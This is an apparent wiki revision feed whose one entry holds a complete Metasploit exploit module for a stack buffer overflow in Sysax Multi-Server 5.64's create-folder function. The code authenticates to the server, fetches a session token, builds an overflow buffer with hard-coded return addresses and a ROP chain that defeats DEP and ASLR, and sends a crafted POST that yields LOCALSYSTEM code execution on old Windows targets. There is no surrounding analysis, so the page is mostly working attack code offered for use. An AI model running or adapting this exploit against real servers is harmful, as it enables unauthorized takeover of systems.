<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Sysax_Multi-Server_5.64_Create_Folder_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>Sysax Multi-Server 5.64 Create Folder 緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Sysax_Multi-Server_5.64_Create_Folder_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Sysax_Multi-Server_5.64_Create_Folder_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T09:19:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Sysax_Multi-Server_5.64_Create_Folder_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=3283&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; require 'msf/core' require 'base64'  class Metasploit3 &lt; Msf::Exploit::Remote  Rank = NormalRanking   include Msf::Exploit::Remote::HttpClient   def initialize(i...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Sysax_Multi-Server_5.64_Create_Folder_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=3283&amp;oldid=prev"/>
		<updated>2021-05-26T01:08:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; require &amp;#039;msf/core&amp;#039; require &amp;#039;base64&amp;#039;  class Metasploit3 &amp;lt; Msf::Exploit::Remote  Rank = NormalRanking   include Msf::Exploit::Remote::HttpClient   def initialize(i...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
require 'base64'&lt;br /&gt;
&lt;br /&gt;
class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
 Rank = NormalRanking&lt;br /&gt;
&lt;br /&gt;
 include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
&lt;br /&gt;
 def initialize(info = {})&lt;br /&gt;
  super(update_info(info,&lt;br /&gt;
   'Name'  =&amp;gt; 'Sysax Multi Server 5.64 Create Folder BoF',&lt;br /&gt;
   'Description' =&amp;gt; %q{&lt;br /&gt;
     This module exploits a stack buffer overflow in the create folder function&lt;br /&gt;
     in Sysax Multi Server 5.64. This issue was fixed in 5.66.&lt;br /&gt;
&lt;br /&gt;
     You must have valid credentials to trigger the vulnerability. Your credentials&lt;br /&gt;
     must also have the create folder permission and the HTTP option has to be enabled.&lt;br /&gt;
     This module will log into the server, get your a SID token and then proceed to exploit&lt;br /&gt;
     the server. Successful exploits result in LOCALSYSTEM access. This exploit works on&lt;br /&gt;
     XP SP3, and Server 2003 SP1-SP2.&lt;br /&gt;
   },&lt;br /&gt;
   'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
   'Author' =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     'Matt Andreko @mandreko', # discovery &amp;amp; Metasploit module for 5.64&lt;br /&gt;
     'Craig Freyman @cd1zz', # original discovery &amp;amp; Metasploit module for 5.50&lt;br /&gt;
    ],&lt;br /&gt;
   'Version' =&amp;gt; '$Revision:$',&lt;br /&gt;
   'References' =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     [ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ], # 5.64 update&lt;br /&gt;
     [ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ], # 5.50 post&lt;br /&gt;
    ],&lt;br /&gt;
   'DefaultOptions' =&amp;gt;&lt;br /&gt;
    {&lt;br /&gt;
     'EXITFUNC' =&amp;gt; 'process',&lt;br /&gt;
    },&lt;br /&gt;
   'Platform' =&amp;gt; 'win',&lt;br /&gt;
   'Payload' =&amp;gt;&lt;br /&gt;
    {&lt;br /&gt;
     'BadChars' =&amp;gt; &amp;quot;\x00\x2F&amp;quot;,&lt;br /&gt;
    },&lt;br /&gt;
&lt;br /&gt;
   'Targets'  =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     [ 'Windows XP SP3',&lt;br /&gt;
      {&lt;br /&gt;
       'Rop'  =&amp;gt; false,&lt;br /&gt;
       'Ret'  =&amp;gt; 0x77c35459, # push esp #  ret [sysaxd.exe]&lt;br /&gt;
       'Offset' =&amp;gt; 701,&lt;br /&gt;
      }&lt;br /&gt;
     ],&lt;br /&gt;
     [ 'Windows 2003 SP1-SP2 DEP &amp;amp; ASLR Bypass',&lt;br /&gt;
      {&lt;br /&gt;
       'Rop'  =&amp;gt; true,&lt;br /&gt;
       'Ret'  =&amp;gt; 0x77baf605, # pivot&lt;br /&gt;
       'Offset' =&amp;gt; 701,&lt;br /&gt;
       'Nop'  =&amp;gt; 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]&lt;br /&gt;
      }&lt;br /&gt;
     ],&lt;br /&gt;
    ],&lt;br /&gt;
   'Privileged' =&amp;gt; false,&lt;br /&gt;
   'DisclosureDate'=&amp;gt; 'July 29, 2012',&lt;br /&gt;
   'DefaultTarget' =&amp;gt; 0))&lt;br /&gt;
&lt;br /&gt;
  register_options(&lt;br /&gt;
    [&lt;br /&gt;
     OptString.new('URI', [false, &amp;quot;URI for Multi Server&amp;quot;, '/']),&lt;br /&gt;
     Opt::RPORT(80),&lt;br /&gt;
     OptString.new('SysaxUSER', [ true, &amp;quot;Username&amp;quot; ]),&lt;br /&gt;
     OptString.new('SysaxPASS', [ true, &amp;quot;Password&amp;quot; ])&lt;br /&gt;
    ], self.class)&lt;br /&gt;
  &lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 def target_url&lt;br /&gt;
  &amp;quot;http://#{rhost}:#{rport}#{datastore['URI']}&amp;quot;&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 def create_rop_chain()&lt;br /&gt;
  rop_gadgets = []&lt;br /&gt;
  # All rop gadgets generated by mona.py&lt;br /&gt;
  # Thanks corelanc0d3r for making such a great tool&lt;br /&gt;
&lt;br /&gt;
  if (target == targets[1]) # Windows 2003&lt;br /&gt;
   rop_gadgets =&lt;br /&gt;
   [&lt;br /&gt;
    0x77be3adb, # POP EAX # RETN [msvcrt.dll]&lt;br /&gt;
    0x77ba1114, # ptr to &amp;amp;VirtualProtect() [IAT msvcrt.dll]&lt;br /&gt;
    0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]&lt;br /&gt;
    0x41414141, # Filler (compensate)&lt;br /&gt;
    0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]&lt;br /&gt;
    0x77bdb896, # POP EBP # RETN [msvcrt.dll]&lt;br /&gt;
    0x77be2265, # &amp;amp; push esp #  ret  [msvcrt.dll]&lt;br /&gt;
    0x77bdeebf, # POP EAX # RETN [msvcrt.dll]&lt;br /&gt;
    0x2cfe0668, # put delta into eax (-&amp;gt; put 0x00000201 into ebx)&lt;br /&gt;
    0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]&lt;br /&gt;
    0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]&lt;br /&gt;
    0x77bdf0da, # POP EAX # RETN [msvcrt.dll]&lt;br /&gt;
    0x2cfe04a7, # put delta into eax (-&amp;gt; put 0x00000040 into edx)&lt;br /&gt;
    0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]&lt;br /&gt;
    0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]&lt;br /&gt;
    0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]&lt;br /&gt;
    0x77befbb4, # &amp;amp;Writable location [msvcrt.dll]&lt;br /&gt;
    0x77bbf75e, # POP EDI # RETN [msvcrt.dll]&lt;br /&gt;
    0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]&lt;br /&gt;
    0x77bdf0da, # POP EAX # RETN [msvcrt.dll]&lt;br /&gt;
    0x90909090, # nop&lt;br /&gt;
    0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]&lt;br /&gt;
   ].flatten.pack(&amp;quot;V*&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  return rop_gadgets&lt;br /&gt;
&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 def exploit&lt;br /&gt;
  &lt;br /&gt;
  user = datastore['SysaxUSER']&lt;br /&gt;
  pass = datastore['SysaxPASS']&lt;br /&gt;
  &lt;br /&gt;
  #base64 encode the credentials&lt;br /&gt;
  encodedcreds = Base64.encode64(user+&amp;quot;\x0a&amp;quot;+pass)&lt;br /&gt;
  creds = &amp;quot;fd=&amp;quot;+encodedcreds&lt;br /&gt;
&lt;br /&gt;
  connect&lt;br /&gt;
&lt;br /&gt;
  # Login to get SID value&lt;br /&gt;
  print_status &amp;quot;Getting SID from #{target_url}&amp;quot;&lt;br /&gt;
  res = send_request_raw({&lt;br /&gt;
   'method'=&amp;gt; 'POST',&lt;br /&gt;
   'uri' =&amp;gt; &amp;quot;#{target_url}/scgi?sid=0&amp;amp;pid=dologin&amp;quot;,&lt;br /&gt;
   'data'  =&amp;gt; creds&lt;br /&gt;
  },20)&lt;br /&gt;
  &lt;br /&gt;
  #parse response for SID token&lt;br /&gt;
  sid = res.body.match (/(sid=[A-Z0-9a-z]{40})/)&lt;br /&gt;
  print_status &amp;quot;Your &amp;quot; + sid.to_s&lt;br /&gt;
&lt;br /&gt;
  buffer = rand_text(target['Offset'])&lt;br /&gt;
  buffer &amp;lt;&amp;lt; [target.ret].pack('V')&lt;br /&gt;
&lt;br /&gt;
  if (target['Rop'])&lt;br /&gt;
   buffer &amp;lt;&amp;lt; [target['Nop']].pack('V')*16&lt;br /&gt;
   buffer &amp;lt;&amp;lt; create_rop_chain()&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  buffer &amp;lt;&amp;lt; make_nops(15)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; payload.encoded #max 1299 bytes&lt;br /&gt;
  &lt;br /&gt;
  #pwnag3 post data&lt;br /&gt;
  post_data = &amp;quot;scgi?&amp;quot;+sid.to_s+&amp;quot;&amp;amp;pid=mk_folder2_name1.htm HTTP/1.1\r\n&amp;quot;&lt;br /&gt;
  post_data &amp;lt;&amp;lt; &amp;quot;Content-Length: 171\r\n\r\n&amp;quot;&lt;br /&gt;
  post_data &amp;lt;&amp;lt; &amp;quot;-----------------------------1190753071675116720811342231\r\n&amp;quot;&lt;br /&gt;
  post_data &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;e2\&amp;quot;\r\n\r\n&amp;quot;&lt;br /&gt;
  post_data &amp;lt;&amp;lt; buffer+&amp;quot;\r\n&amp;quot;&lt;br /&gt;
  post_data &amp;lt;&amp;lt; &amp;quot;-----------------------------1190753071675116720811342231--\r\n\r\n&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
  referer = &amp;quot;http://&amp;quot;+datastore['RHOST'].to_s+&amp;quot;/scgi?&amp;quot;+sid.to_s+&amp;quot;&amp;amp;pid=mk_folder1_name1.htm&amp;quot;&lt;br /&gt;
    &lt;br /&gt;
  send_request_raw({&lt;br /&gt;
   'uri'     =&amp;gt; &amp;quot;/&amp;quot; + post_data,&lt;br /&gt;
   'version' =&amp;gt; '1.1',&lt;br /&gt;
   'method'  =&amp;gt; 'POST',&lt;br /&gt;
   'referer' =&amp;gt; referer&lt;br /&gt;
  })&lt;br /&gt;
&lt;br /&gt;
  handler&lt;br /&gt;
  disconnect&lt;br /&gt;
&lt;br /&gt;
 end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>